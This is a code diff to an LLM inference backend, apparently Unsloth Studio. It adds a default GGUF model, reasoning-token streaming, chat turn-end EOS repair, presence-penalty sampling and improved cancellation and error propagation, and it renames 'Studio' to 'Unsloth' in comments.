diff --git a/studio/backend/core/inference/defaults.py b/studio/backend/core/inference/defaults.py
index b64605e16f..a1d03c03e0 100644
--- a/studio/backend/core/inference/defaults.py
+++ b/studio/backend/core/inference/defaults.py
@@ -8,6 +8,7 @@ import utils.hardware.hardware as hw
 DEFAULT_MODELS_GGUF = [
     "unsloth/Qwen3.6-27B-MTP-GGUF",
     "unsloth/Qwen3.6-35B-A3B-MTP-GGUF",
+    "unsloth/DeepSeek-V4-Flash-GGUF",
     "unsloth/gemma-4-E2B-it-GGUF",
     "unsloth/gemma-4-E4B-it-GGUF",
     "unsloth/gemma-4-31B-it-GGUF",
@@ -27,6 +28,7 @@ DEFAULT_MODELS_GGUF = [
 DEFAULT_MODELS_STANDARD = [
     "unsloth/Qwen3.6-27B-MTP-GGUF",
     "unsloth/Qwen3.6-35B-A3B-MTP-GGUF",
+    "unsloth/DeepSeek-V4-Flash-GGUF",
     "unsloth/gemma-4-E2B-it-GGUF",
     "unsloth/gemma-4-E4B-it-GGUF",
     "unsloth/gemma-4-31B-it-GGUF",
diff --git a/studio/backend/core/inference/external_provider.py b/studio/backend/core/inference/external_provider.py
index 20312e067c..2debf946e9 100644
--- a/studio/backend/core/inference/external_provider.py
+++ b/studio/backend/core/inference/external_provider.py
@@ -473,7 +473,7 @@ def _apply_mistral_reasoning_controls(
 # handles every provider without storing credentials.
 def _create_shared_http_client() -> httpx.AsyncClient:
     # Unsupported env proxy schemes (socks:// etc) raise at construction and
-    # would crash Studio startup (#6090); retry ignoring env proxies instead.
+    # would crash Unsloth startup (#6090); retry ignoring env proxies instead.
     try:
         return httpx.AsyncClient()
     except (ImportError, ValueError) as exc:
@@ -858,7 +858,7 @@ class ExternalProviderClient:
         if not self._is_openai_compatible():
             # Gemini speaks its own native REST shape (contents/parts);
             # `_stream_gemini` translates request/response into the OpenAI
-            # Chat Completions chunk format the rest of Studio expects.
+            # Chat Completions chunk format the rest of Unsloth expects.
             # API ref: https://ai.google.dev/gemini-api/docs
             if self.provider_type == "gemini":
                 async for line in self._stream_gemini(
@@ -1706,7 +1706,7 @@ class ExternalProviderClient:
                 # Translate OpenAI multimodal parts -> Anthropic native shapes.
                 # - `image_url`     -> `{type:"image", source:...}`
                 # - `input_document` -> `{type:"document", source:...}`
-                #   (Studio extension; mirrors Anthropic's document block,
+                #   (Unsloth extension; mirrors Anthropic's document block,
                 #   which supports PDFs as base64 or URL per
                 #   https://platform.claude.com/docs/en/build-with-claude/vision)
                 anthropic_parts: list[dict[str, Any]] = []
@@ -1749,7 +1749,7 @@ class ExternalProviderClient:
                                 }
                             )
                     elif part.get("type") == "input_document":
-                        # Studio's normalised PDF/doc type (file_data data-URI or
+                        # Unsloth's normalised PDF/doc type (file_data data-URI or
                         # file_url) -> Anthropic's native `document` block.
                         url = part.get("file_url") or ""
                         data_uri = part.get("file_data") or ""
@@ -4704,7 +4704,7 @@ class ExternalProviderClient:
                                 {"type": "image_generation_call", "id": call_id}
                             )
                     elif part_type == "input_document":
-                        # Map Studio's `input_document` onto Responses' `input_file`.
+                        # Map Unsloth's `input_document` onto Responses' `input_file`.
                         # https://developers.openai.com/api/docs/guides/images-vision
                         file_url = part.get("file_url")
                         file_data = part.get("file_data")
@@ -6010,7 +6010,7 @@ class ExternalProviderClient:
             if not models and self.provider_type == "ollama":
                 models = await self._list_ollama_native_models()
             # Gemini's native /v1beta/models uses a different shape; repackage
-            # into the OpenAI-compatible one Studio expects.
+            # into the OpenAI-compatible one Unsloth expects.
             if not models and self.provider_type == "gemini":
                 models = self._parse_gemini_models(data)
             return models
@@ -6213,7 +6213,7 @@ def _friendly_provider_error_text(
     *,
     model: str | None = None,
 ) -> str:
-    """Rewrite common provider errors into actionable Studio copy."""
+    """Rewrite common provider errors into actionable Unsloth copy."""
     if status_code == 404 and model:
         lowered = raw_message.lower()
         if "not found" in lowered or "not_found" in lowered:
diff --git a/studio/backend/core/inference/inference.py b/studio/backend/core/inference/inference.py
index 4dca4db768..8d262bbb0f 100644
--- a/studio/backend/core/inference/inference.py
+++ b/studio/backend/core/inference/inference.py
@@ -5,7 +5,7 @@
 
 from unsloth import FastLanguageModel, FastVisionModel
 from unsloth.chat_templates import get_chat_template
-from transformers import TextStreamer
+from transformers import TextIteratorStreamer, TextStreamer
 from peft import PeftModel, PeftModelForCausalLM
 
 import json
@@ -15,6 +15,7 @@ from pathlib import Path
 from typing import Optional, Union, Generator, Tuple
 from utils.models import ModelConfig, get_base_model_from_lora
 from utils.paths import is_model_cached
+from utils.transformers_dtype import dtype_kwargs
 from utils.utils import format_error_message
 from utils.hardware import (
     get_device,
@@ -27,6 +28,16 @@ from utils.hardware import (
 from core.inference.audio_codecs import AudioCodecManager
 from core.inference.runtime_context import runtime_context_length
 from core.inference.message_content import content_to_text
+from core.inference.chat_eos import (
+    chat_eos_repair,
+    resolve_chat_turn_end_eos_ids_using,
+)
+from core.inference.chat_template_helpers import (
+    ReasoningChannelNormalizer,
+    detect_reasoning_channel_markers,
+    detect_think_prefill,
+)
+from core.inference.presence_penalty import _make_presence_penalty_processor
 from io import StringIO
 import structlog
 from loggers import get_logger
@@ -181,6 +192,53 @@ class HarmonyTextStreamer:
                     self._queue.put(new_content)
 
 
+class ReasoningTextIteratorStreamer(TextIteratorStreamer):
+    """TextIteratorStreamer that preserves native channel tokens until parsed."""
+
+    def __init__(
+        self,
+        tokenizer,
+        *,
+        markers: tuple[str, str],
+        skip_prompt: bool = True,
+        timeout: float = 0.2,
+        cancel_event = None,
+        **decode_kwargs,
+    ):
+        decode_kwargs["skip_special_tokens"] = False
+        super().__init__(tokenizer, skip_prompt = skip_prompt, timeout = timeout, **decode_kwargs)
+        self._normalizer = ReasoningChannelNormalizer(*markers)
+        self._cancel_event = cancel_event
+        self._aborted = False
+
+    def abort(self):
+        """Mark generation as failed so ``end`` drains without closing."""
+        self._aborted = True
+
+    def on_finalized_text(
+        self,
+        text: str,
+        stream_end: bool = False,
+    ):
+        """Queue canonical deltas, closing only on natural stream completion."""
+        delta = self._normalizer.feed(text)
+        if delta:
+            self.text_queue.put(delta, timeout = self.timeout)
+
+        if stream_end:
+            cancelled = self._aborted or (
+                self._cancel_event is not None and self._cancel_event.is_set()
+            )
+            tail = self._normalizer.drain() if cancelled else self._normalizer.finish()
+            if tail:
+                self.text_queue.put(tail, timeout = self.timeout)
+            self.text_queue.put(self.stop_signal, timeout = self.timeout)
+
+
+class _GenerationThreadError(RuntimeError):
+    """Generation worker failures that should propagate through stream routes."""
+
+
 class InferenceBackend:
     """Unified inference backend supporting text, vision, and LoRA models"""
 
@@ -210,6 +268,50 @@ class InferenceBackend:
         # API uses -1 to disable top-k; transformers uses 0.
         return 0 if top_k < 0 else top_k
 
+    def _resolve_chat_eos(self, model_name: str) -> None:
+        """Resolve this chat model's assistant-turn-end stop tokens once at load,
+        cache them in model_info, and repair generation_config so every
+        ``.generate()`` path stops at the turn boundary.
+
+        Some checkpoints (e.g. Qwen3.5 / Qwen3.6 small chat models) end turns with
+        ``<|im_end|>`` but ship ``config.eos_token_id = <|endoftext|>`` and no
+        ``generation_config.json``, so paths that read ``generation_config`` (the
+        vision path, tool loops) run past the turn and loop. Turn-end markers are
+        derived from the chat_template (see chat_eos.resolve_chat_turn_end_eos_ids),
+        so base/coder models and harmony templates are left untouched.
+        """
+        info = self.models.get(model_name) or {}
+        model = info.get("model")
+        container = info.get("tokenizer")
+        tokenizer = getattr(container, "tokenizer", container)  # unwrap processors
+        if model is None or tokenizer is None:
+            return
+        # Vision models carry the chat_template on the processor, not the inner
+        # tokenizer. Read markers from whichever has one, but resolve ids on the
+        # generation tokenizer, else the vision path misses the turn-end token.
+        template_source = container if getattr(container, "chat_template", None) else tokenizer
+        try:
+            turn_end_ids = resolve_chat_turn_end_eos_ids_using(template_source, tokenizer)
+        except Exception as e:  # never block a load on eos resolution
+            logger.warning("Chat turn-end eos resolution failed for %s: %s", model_name, e)
+            return
+        info["chat_turn_end_eos_ids"] = turn_end_ids
+
+        gen = getattr(model, "generation_config", None)
+        if gen is None:
+            return
+        repaired = chat_eos_repair(gen.eos_token_id, turn_end_ids)
+        if repaired is None:
+            return
+        previous = gen.eos_token_id
+        gen.eos_token_id = repaired
+        logger.info(
+            "Repaired generation_config.eos_token_id for %s: %s -> %s",
+            model_name,
+            previous,
+            repaired,
+        )
+
     def load_model(
         self,
         config: ModelConfig,
@@ -221,6 +323,9 @@ class InferenceBackend:
         gpu_ids: Optional[list[int]] = None,
     ) -> bool:
         """Load any model: base, LoRA adapter, text, or vision."""
+        # Keep the token so the native-template fallback can fetch a
+        # gated model's repo template later during generation.
+        self._hf_token = hf_token
         # GGUF uses max_seq_length=0 as "model default"; Unsloth crashes on it.
         if max_seq_length <= 0:
             max_seq_length = 2048
@@ -231,6 +336,8 @@ class InferenceBackend:
             # Already loaded?
             if model_name in self.models and self.models[model_name].get("model"):
                 logger.info(f"Model {model_name} already loaded")
+                if hf_token:
+                    self.models[model_name]["hf_token"] = hf_token
                 self.active_model_name = model_name
                 return True
 
@@ -246,6 +353,14 @@ class InferenceBackend:
             )
 
             self.models[model_name] = {
+                # Per-model token: the native-template fallback must use the
+                # token this model was loaded with, not whichever loaded last.
+                "hf_token": hf_token,
+                # Per-model consent: the native-template reload must re-use the
+                # exact trust_remote_code this model (and a LoRA's base) was loaded
+                # with, so a custom-code tokenizer repo can be re-fetched without
+                # executing any code the user did not already consent to.
+                "trust_remote_code": trust_remote_code,
                 "is_vision": config.is_vision,
                 "is_lora": config.is_lora,
                 "is_audio": config.is_audio,
@@ -378,7 +493,7 @@ class InferenceBackend:
                         feature_extractor = tokenizer.feature_extractor,
                         processor = tokenizer,
                         return_language = True,
-                        torch_dtype = torch.float16,
+                        **dtype_kwargs(torch.float16),
                     )
                     self.models[model_name]["model"] = model
                     self.models[model_name]["tokenizer"] = tokenizer
@@ -496,6 +611,7 @@ class InferenceBackend:
                 max_seq_length,
             )
 
+            self._resolve_chat_eos(model_name)
             self._load_chat_template_info(model_name)
 
             self.active_model_name = model_name
@@ -766,9 +882,13 @@ class InferenceBackend:
         preserve_thinking: Optional[bool] = None,
         max_tool_iterations: int = 25,
         auto_heal_tool_calls: bool = True,
+        nudge_tool_calls: Optional[bool] = None,
         tool_call_timeout: int = 300,
         session_id: Optional[str] = None,
+        thread_id: Optional[str] = None,
         rag_scope: Optional[dict] = None,
+        presence_penalty: float = 0.0,
+        reasoning_prefilled: bool = False,
     ):
         """Run an agentic tool loop on top of ``generate_chat_response``.
 
@@ -802,6 +922,7 @@ class InferenceBackend:
                 enable_thinking = enable_thinking,
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
+                presence_penalty = presence_penalty,
             )
 
         initial = list(messages)
@@ -815,10 +936,13 @@ class InferenceBackend:
             execute_tool = execute_tool,
             cancel_event = cancel_event,
             auto_heal_tool_calls = auto_heal_tool_calls,
+            nudge_tool_calls = nudge_tool_calls,
             max_tool_iterations = max_tool_iterations,
             tool_call_timeout = tool_call_timeout,
             session_id = session_id,
+            thread_id = thread_id,
             rag_scope = rag_scope,
+            reasoning_prefilled = reasoning_prefilled,
         )
 
     def generate_chat_response(
@@ -837,12 +961,14 @@ class InferenceBackend:
         enable_thinking: Optional[bool] = None,
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Generate response for text or vision models (lock held by background thread).
 
         ``tools`` / ``enable_thinking`` / ``reasoning_effort`` / ``preserve_thinking``
         are forwarded into ``apply_chat_template`` so templates that understand them
         (Qwen3, Llama 3.1+, gpt-oss harmony) advertise tool schemas / reasoning controls.
+        ``presence_penalty`` matches the GGUF sampling path (0 disables it).
         """
         yield from self._generate_chat_response_inner(
             messages = messages,
@@ -859,6 +985,7 @@ class InferenceBackend:
             enable_thinking = enable_thinking,
             reasoning_effort = reasoning_effort,
             preserve_thinking = preserve_thinking,
+            presence_penalty = presence_penalty,
         )
 
     def _generate_chat_response_inner(
@@ -878,6 +1005,7 @@ class InferenceBackend:
         enable_thinking: Optional[bool] = None,
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Inner generation logic, called by generate_chat_response and
         generate_with_adapter_control.
@@ -886,8 +1014,7 @@ class InferenceBackend:
         thread can toggle adapters under the generation lock.
         """
         if not self.active_model_name:
-            yield "Error: No active model"
-            return
+            raise RuntimeError("No active model")
 
         model_info = self.models[self.active_model_name]
         is_vision = model_info.get("is_vision", False)
@@ -917,6 +1044,7 @@ class InferenceBackend:
                     max_new_tokens,
                     repetition_penalty,
                     cancel_event = cancel_event,
+                    presence_penalty = presence_penalty,
                 )
                 return
             else:
@@ -946,6 +1074,22 @@ class InferenceBackend:
                     tokenizer,
                     chat_template = template_name,
                 )
+                # The mapper installs the effective template only now, at generate
+                # time, so re-resolve and UNION into the load-time cache (never
+                # overwrite). get_chat_template can return a remapped tokenizer
+                # (turn-end folded onto doc-eos) while generate_stream reads the
+                # original, so take marker strings from the mapped template but
+                # resolve their ids on the original.
+                try:
+                    _gen_tok = model_info.get("tokenizer") or tokenizer
+                    refreshed = resolve_chat_turn_end_eos_ids_using(
+                        getattr(tokenizer, "tokenizer", tokenizer),
+                        getattr(_gen_tok, "tokenizer", _gen_tok),
+                    )
+                    existing = model_info.get("chat_turn_end_eos_ids") or []
+                    model_info["chat_turn_end_eos_ids"] = sorted(set(existing) | set(refreshed))
+                except Exception as e:
+                    logger.warning(f"Could not refresh chat turn-end eos after template: {e}")
             else:
                 logger.info(
                     f"No registered Unsloth template for {self.active_model_name}, using tokenizer default"
@@ -958,6 +1102,7 @@ class InferenceBackend:
             template_messages = [{"role": "system", "content": system_prompt}] + messages
         else:
             template_messages = messages
+        reasoning_channel_markers_resolved = False
         try:
             if not (hasattr(tokenizer, "chat_template") and tokenizer.chat_template):
                 raise ValueError(
@@ -967,6 +1112,7 @@ class InferenceBackend:
                     f"Please use a model that includes a chat template, or manually set "
                     f"one via tokenizer.chat_template before inference."
                 )
+            reasoning_channel_markers = None
             formatted_prompt = self._apply_chat_template_for_generation(
                 tokenizer,
                 template_messages,
@@ -975,11 +1121,38 @@ class InferenceBackend:
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
             )
+
+            # If tools were requested but the (possibly overridden) template ignored
+            # them, fall back to the model's native template (shared with MLX).
+            from core.inference.chat_template_helpers import (
+                render_with_native_template_fallback,
+            )
+
+            render_result = render_with_native_template_fallback(
+                formatted_prompt = formatted_prompt,
+                tokenizer = tokenizer,
+                model_info = model_info,
+                active_model_name = self.active_model_name,
+                messages = template_messages,
+                tools = tools,
+                enable_thinking = enable_thinking,
+                reasoning_effort = reasoning_effort,
+                preserve_thinking = preserve_thinking,
+                apply_fn = self._apply_chat_template_for_generation,
+                hf_token = model_info.get("hf_token"),
+                return_metadata = True,
+            )
+            formatted_prompt = render_result.prompt
+            reasoning_channel_markers = render_result.reasoning_channel_markers
+            reasoning_channel_markers_resolved = True
+
             logger.debug(f"Formatted prompt: {formatted_prompt[:200]}...")
         except Exception as e:
             logger.error(f"Error applying chat template: {e}")
             # Fall back to manual formatting
             formatted_prompt = self.format_chat_prompt(messages, system_prompt)
+            reasoning_channel_markers = None
+            reasoning_channel_markers_resolved = True
 
         # Step 3: generate
         yield from self.generate_stream(
@@ -992,6 +1165,9 @@ class InferenceBackend:
             repetition_penalty,
             cancel_event = cancel_event,
             _adapter_state = _adapter_state,
+            presence_penalty = presence_penalty,
+            reasoning_channel_markers = reasoning_channel_markers,
+            reasoning_channel_markers_resolved = reasoning_channel_markers_resolved,
         )
 
     def _generate_vision_response(
@@ -1006,6 +1182,7 @@ class InferenceBackend:
         max_new_tokens,
         repetition_penalty,
         cancel_event = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Handle vision model generation with true token-by-token streaming."""
         model_info = self.models[self.active_model_name]
@@ -1067,21 +1244,36 @@ class InferenceBackend:
                 add_special_tokens = False,
                 return_tensors = "pt",
             ).to(model.device)
+            prompt_text = input_text
         else:
             # Text-only path for a vision model
             formatted_prompt = self.format_chat_prompt(messages, system_prompt)
             inputs = raw_tokenizer(formatted_prompt, return_tensors = "pt").to(model.device)
+            prompt_text = formatted_prompt
 
         # Stream with TextIteratorStreamer + background thread
         try:
-            from transformers import TextIteratorStreamer
+            # Re-emit an open <think> prefill swallowed by skip_prompt (see
+            # generate_stream).
+            think_prefix = detect_think_prefill(
+                prompt_text, getattr(raw_tokenizer, "all_special_tokens", None)
+            )
             import threading
 
-            streamer = TextIteratorStreamer(
+            streamer = self._make_text_streamer(
                 raw_tokenizer,
+                protocol_source = processor,
+                # The text-only VLM fallback above did not render with the
+                # processor template, so its native markers do not describe
+                # this request's response protocol.
+                reasoning_channel_markers = detect_reasoning_channel_markers(processor)
+                if image
+                else None,
+                reasoning_channel_markers_resolved = True,
                 skip_prompt = True,
-                skip_special_tokens = True,
                 timeout = 0.2,
+                cancel_event = cancel_event,
+                use_harmony = self._is_gpt_oss_model(),
             )
 
             generation_kwargs = dict(
@@ -1095,6 +1287,18 @@ class InferenceBackend:
                 top_k = top_k,
                 min_p = min_p,
             )
+            # Presence penalty (GGUF parity) for VLM chat.
+            _vision_input_ids = inputs.get("input_ids") if hasattr(inputs, "get") else None
+            if _vision_input_ids is not None:
+                _pp = _make_presence_penalty_processor(
+                    presence_penalty, int(_vision_input_ids.shape[1])
+                )
+                if _pp is not None:
+                    generation_kwargs["logits_processor"] = _pp
+            stopping_criteria = self._cancel_stopping_criteria(cancel_event)
+            if stopping_criteria is not None:
+                generation_kwargs["stopping_criteria"] = stopping_criteria
+            active_stop_token_ids = self._generation_stop_token_ids(model, generation_kwargs)
 
             err: dict[str, str] = {}
 
@@ -1104,6 +1308,8 @@ class InferenceBackend:
                         model.generate(**generation_kwargs)
                     except Exception as e:
                         err["msg"] = str(e)
+                        if hasattr(streamer, "abort"):
+                            streamer.abort()
                         logger.error(f"Vision generation error in thread: {e}")
                     finally:
                         try:
@@ -1114,14 +1320,23 @@ class InferenceBackend:
             thread = threading.Thread(target = generate_fn)
             thread.start()
 
-            output = ""
+            output = think_prefix
+            # Emit the prefilled <think> before the first token so the block
+            # renders during prompt prefill (which can take seconds).
+            if think_prefix:
+                yield think_prefix
             from queue import Empty
+            import time
 
             generation_complete = False
+            cancel_deadline = None
             try:
                 while True:
                     if cancel_event is not None and cancel_event.is_set():
-                        break
+                        if cancel_deadline is None:
+                            cancel_deadline = time.monotonic() + 10
+                        elif time.monotonic() >= cancel_deadline:
+                            break
                     try:
                         new_token = next(streamer)
                     except StopIteration:
@@ -1130,27 +1345,48 @@ class InferenceBackend:
                     except Empty:
                         if not thread.is_alive():
                             generation_complete = True
+                            output = yield from self._drain_streamer_tail(
+                                streamer, output, active_stop_token_ids
+                            )
+                            break
+                        if cancel_deadline is not None:
+                            remaining = cancel_deadline - time.monotonic()
+                            if remaining <= 0:
+                                break
+                            thread.join(timeout = remaining)
+                            if thread.is_alive():
+                                break
+                            generation_complete = True
+                            output = yield from self._drain_streamer_tail(
+                                streamer, output, active_stop_token_ids
+                            )
                             break
                         continue
                     if new_token:
-                        output += new_token
-                        cleaned = self._clean_generated_text(output)
+                        output, cleaned = self._append_stream_delta(
+                            output, new_token, active_stop_token_ids
+                        )
                         yield cleaned
             finally:
                 if cancel_event is not None and not generation_complete:
                     cancel_event.set()
-                thread.join(timeout = 10)
+                join_timeout = 10
+                if cancel_deadline is not None:
+                    join_timeout = max(0, cancel_deadline - time.monotonic())
+                thread.join(timeout = join_timeout)
                 if thread.is_alive():
                     logger.warning(
                         "Vision generation thread did not exit after cancel/join timeout"
                     )
 
             if err.get("msg"):
-                yield f"Error: {err['msg']}"
+                raise _GenerationThreadError(err["msg"])
 
+        except _GenerationThreadError:
+            raise
         except Exception as e:
             logger.error(f"Vision generation error: {e}")
-            yield f"Error: {str(e)}"
+            raise
 
     def generate_audio_input_response(
         self,
@@ -1275,11 +1511,13 @@ class InferenceBackend:
                     )
 
             if err.get("msg"):
-                yield f"Error: {err['msg']}"
+                raise _GenerationThreadError(err["msg"])
 
+        except _GenerationThreadError:
+            raise
         except Exception as e:
             logger.error(f"Audio input generation error: {e}")
-            yield f"Error: {str(e)}"
+            raise
 
     def generate_whisper_response(
         self,
@@ -1312,6 +1550,86 @@ class InferenceBackend:
         from utils.datasets import is_gpt_oss_model_name
         return is_gpt_oss_model_name(model_name or self.active_model_name or "")
 
+    def _make_text_streamer(
+        self,
+        tokenizer,
+        *,
+        protocol_source = None,
+        reasoning_channel_markers = None,
+        reasoning_channel_markers_resolved: bool = False,
+        skip_prompt: bool = True,
+        timeout: float = 0.2,
+        cancel_event = None,
+        use_harmony: bool = False,
+    ):
+        """Create the streamer matching this model's native response protocol."""
+        if use_harmony:
+            try:
+                return HarmonyTextStreamer(
+                    tokenizer,
+                    skip_prompt = skip_prompt,
+                    timeout = timeout,
+                )
+            except Exception as e:
+                logger.warning(f"HarmonyTextStreamer init failed, falling back: {e}")
+                return TextIteratorStreamer(
+                    tokenizer,
+                    skip_prompt = skip_prompt,
+                    skip_special_tokens = True,
+                    timeout = timeout,
+                )
+
+        markers = (
+            reasoning_channel_markers
+            if reasoning_channel_markers_resolved
+            else reasoning_channel_markers
+            or detect_reasoning_channel_markers(protocol_source or tokenizer)
+        )
+        if markers is not None:
+            return ReasoningTextIteratorStreamer(
+                tokenizer,
+                markers = markers,
+                skip_prompt = skip_prompt,
+                timeout = timeout,
+                cancel_event = cancel_event,
+            )
+        return TextIteratorStreamer(
+            tokenizer,
+            skip_prompt = skip_prompt,
+            skip_special_tokens = True,
+            timeout = timeout,
+        )
+
+    def _append_stream_delta(
+        self,
+        output: str,
+        new_token: str,
+        stop_token_ids = None,
+    ):
+        """Append a streamer delta and apply response-boundary cleanup."""
+        output += new_token
+        return output, self._clean_generated_text(output, stop_token_ids = stop_token_ids)
+
+    def _drain_streamer_tail(
+        self,
+        streamer,
+        output: str,
+        stop_token_ids = None,
+    ):
+        """Drain queued streamer text after the producer exits."""
+        while True:
+            try:
+                new_token = next(streamer)
+            except StopIteration:
+                return output
+            except Exception:
+                return output
+            if new_token:
+                output, cleaned = self._append_stream_delta(
+                    output, new_token, stop_token_ids = stop_token_ids
+                )
+                yield cleaned
+
     def generate_stream(
         self,
         prompt: str,
@@ -1323,15 +1641,18 @@ class InferenceBackend:
         repetition_penalty: float = 1.0,
         cancel_event = None,
         _adapter_state = None,
+        presence_penalty: float = 0.0,
+        reasoning_channel_markers = None,
+        reasoning_channel_markers_resolved: bool = False,
     ) -> Generator[str, None, None]:
         """Generate a streaming text response (text models only).
 
         _adapter_state: if not None, the background thread toggles adapters
         before model.generate(), under _generation_lock.
+        ``presence_penalty`` matches the GGUF sampling path via a logits processor (0 disables it).
         """
         if not self.active_model_name:
-            yield "Error: No active model"
-            return
+            raise RuntimeError("No active model")
 
         model_info = self.models[self.active_model_name]
         model = model_info["model"]
@@ -1344,33 +1665,27 @@ class InferenceBackend:
         try:
             inputs = tokenizer(prompt, return_tensors = "pt").to(model.device)
 
-            from transformers import TextIteratorStreamer
             import threading
 
-            # gpt-oss models: HarmonyTextStreamer parses the multi-channel
-            # harmony protocol into <think> tags
-            if self._is_gpt_oss_model():
-                try:
-                    streamer = HarmonyTextStreamer(
-                        tokenizer,
-                        skip_prompt = True,
-                        timeout = 0.2,
-                    )
-                except Exception as e:
-                    logger.warning(f"HarmonyTextStreamer init failed, falling back: {e}")
-                    streamer = TextIteratorStreamer(
-                        tokenizer,
-                        skip_prompt = True,
-                        skip_special_tokens = True,
-                        timeout = 0.2,
-                    )
-            else:
-                streamer = TextIteratorStreamer(
-                    tokenizer,
-                    skip_prompt = True,
-                    skip_special_tokens = True,
-                    timeout = 0.2,
-                )
+            # skip_prompt swallows an open <think> prefilled by the template;
+            # re-emit it so the frontend can render the thinking block.
+            # gpt-oss emits its own tags via HarmonyTextStreamer.
+            think_prefix = (
+                ""
+                if self._is_gpt_oss_model()
+                else detect_think_prefill(prompt, getattr(tokenizer, "all_special_tokens", None))
+            )
+
+            streamer = self._make_text_streamer(
+                tokenizer,
+                protocol_source = model_info.get("tokenizer"),
+                reasoning_channel_markers = reasoning_channel_markers,
+                reasoning_channel_markers_resolved = reasoning_channel_markers_resolved,
+                skip_prompt = True,
+                timeout = 0.2,
+                cancel_event = cancel_event,
+                use_harmony = self._is_gpt_oss_model(),
+            )
 
             generation_kwargs = dict(
                 **inputs,
@@ -1382,26 +1697,22 @@ class InferenceBackend:
                 min_p = min_p,
                 repetition_penalty = repetition_penalty,
                 do_sample = temperature > 0,
-                eos_token_id = tokenizer.eos_token_id,
+                # Resolved once at load (chat_template-derived turn-end tokens).
+                eos_token_id = model_info.get("chat_turn_end_eos_ids") or tokenizer.eos_token_id,
                 pad_token_id = tokenizer.eos_token_id
                 if tokenizer.pad_token_id is None
                 else tokenizer.pad_token_id,
             )
-            if cancel_event is not None:
-                from transformers.generation.stopping_criteria import (
-                    StoppingCriteria,
-                    StoppingCriteriaList,
-                )
-                class _CancelCriteria(StoppingCriteria):
-                    def __init__(self, ev):
-                        self.ev = ev
-
-                    def __call__(self, input_ids, scores, **kwargs):
-                        return self.ev.is_set()
-
-                generation_kwargs["stopping_criteria"] = StoppingCriteriaList(
-                    [_CancelCriteria(cancel_event)]
-                )
+            active_stop_token_ids = self._generation_stop_token_ids(model, generation_kwargs)
+            # Presence penalty (GGUF parity); prompt_len excludes prompt tokens.
+            _pp = _make_presence_penalty_processor(
+                presence_penalty, int(inputs["input_ids"].shape[1])
+            )
+            if _pp is not None:
+                generation_kwargs["logits_processor"] = _pp
+            stopping_criteria = self._cancel_stopping_criteria(cancel_event)
+            if stopping_criteria is not None:
+                generation_kwargs["stopping_criteria"] = stopping_criteria
 
             def generate_fn():
                 with self._generation_lock:
@@ -1411,6 +1722,8 @@ class InferenceBackend:
                         model.generate(**generation_kwargs)
                     except Exception as e:
                         err["msg"] = str(e)
+                        if hasattr(streamer, "abort"):
+                            streamer.abort()
                         logger.error(f"Generation error: {e}")
                     finally:
                         try:
@@ -1422,14 +1735,23 @@ class InferenceBackend:
             thread = threading.Thread(target = generate_fn)
             thread.start()
 
-            output = ""
+            output = think_prefix
+            # Emit the prefilled <think> before the first token so the block
+            # renders during prompt prefill (which can take seconds).
+            if think_prefix:
+                yield think_prefix
             from queue import Empty
+            import time
 
             generation_complete = False
+            cancel_deadline = None
             try:
                 while True:
                     if cancel_event is not None and cancel_event.is_set():
-                        break
+                        if cancel_deadline is None:
+                            cancel_deadline = time.monotonic() + 10
+                        elif time.monotonic() >= cancel_deadline:
+                            break
                     try:
                         new_token = next(streamer)
                     except StopIteration:
@@ -1438,11 +1760,27 @@ class InferenceBackend:
                     except Empty:
                         if not thread.is_alive():
                             generation_complete = True
+                            output = yield from self._drain_streamer_tail(
+                                streamer, output, active_stop_token_ids
+                            )
+                            break
+                        if cancel_deadline is not None:
+                            remaining = cancel_deadline - time.monotonic()
+                            if remaining <= 0:
+                                break
+                            thread.join(timeout = remaining)
+                            if thread.is_alive():
+                                break
+                            generation_complete = True
+                            output = yield from self._drain_streamer_tail(
+                                streamer, output, active_stop_token_ids
+                            )
                             break
                         continue
                     if new_token:
-                        output += new_token
-                        cleaned = self._clean_generated_text(output)
+                        output, cleaned = self._append_stream_delta(
+                            output, new_token, active_stop_token_ids
+                        )
                         yield cleaned
             finally:
                 # Set cancel_event only on early exit (user cancel), NOT on
@@ -1451,16 +1789,21 @@ class InferenceBackend:
                 # disrupt the next serialized request (e.g. compare mode).
                 if cancel_event is not None and not generation_complete:
                     cancel_event.set()
-                thread.join(timeout = 10)
+                join_timeout = 10
+                if cancel_deadline is not None:
+                    join_timeout = max(0, cancel_deadline - time.monotonic())
+                thread.join(timeout = join_timeout)
                 if thread.is_alive():
                     logger.warning("Generation thread did not exit after cancel/join timeout")
 
             if err.get("msg"):
-                yield f"Error: {err['msg']}"
+                raise _GenerationThreadError(err["msg"])
 
+        except _GenerationThreadError:
+            raise
         except Exception as e:
             logger.error(f"Error during generation: {e}")
-            yield f"Error: {str(e)}"
+            raise
 
     # ── Audio (TTS) Generation ────────────────────────────────────
 
@@ -1949,8 +2292,42 @@ class InferenceBackend:
             return img.resize(new_size, Image.Resampling.LANCZOS)
         return img
 
-    def _clean_generated_text(self, text: str) -> str:
-        """Strip leaked special tokens using the tokenizer's own token list."""
+    def _generation_stop_token_ids(self, model, generation_kwargs: dict):
+        """Return the stop-token ids active for a ``generate`` call."""
+        if "eos_token_id" in generation_kwargs:
+            return generation_kwargs.get("eos_token_id")
+        generation_config = getattr(model, "generation_config", None)
+        eos_token_id = getattr(generation_config, "eos_token_id", None)
+        if eos_token_id is not None:
+            return eos_token_id
+        config = getattr(model, "config", None)
+        return getattr(config, "eos_token_id", None)
+
+    def _cancel_stopping_criteria(self, cancel_event):
+        """Build a Transformers stopping criteria list for user cancellation."""
+        if cancel_event is None:
+            return None
+        from transformers.generation.stopping_criteria import (
+            StoppingCriteria,
+            StoppingCriteriaList,
+        )
+
+        class _CancelCriteria(StoppingCriteria):
+            def __init__(self, ev):
+                self.ev = ev
+
+            def __call__(self, input_ids, scores, **kwargs):
+                return self.ev.is_set()
+
+        return StoppingCriteriaList([_CancelCriteria(cancel_event)])
+
+    def _clean_generated_text(
+        self,
+        text: str,
+        *,
+        stop_token_ids = None,
+    ) -> str:
+        """Strip leaked response-boundary tokens after streaming."""
         if self._is_gpt_oss_model():
             # HarmonyTextStreamer emits clean <think>...</think>. Strip any
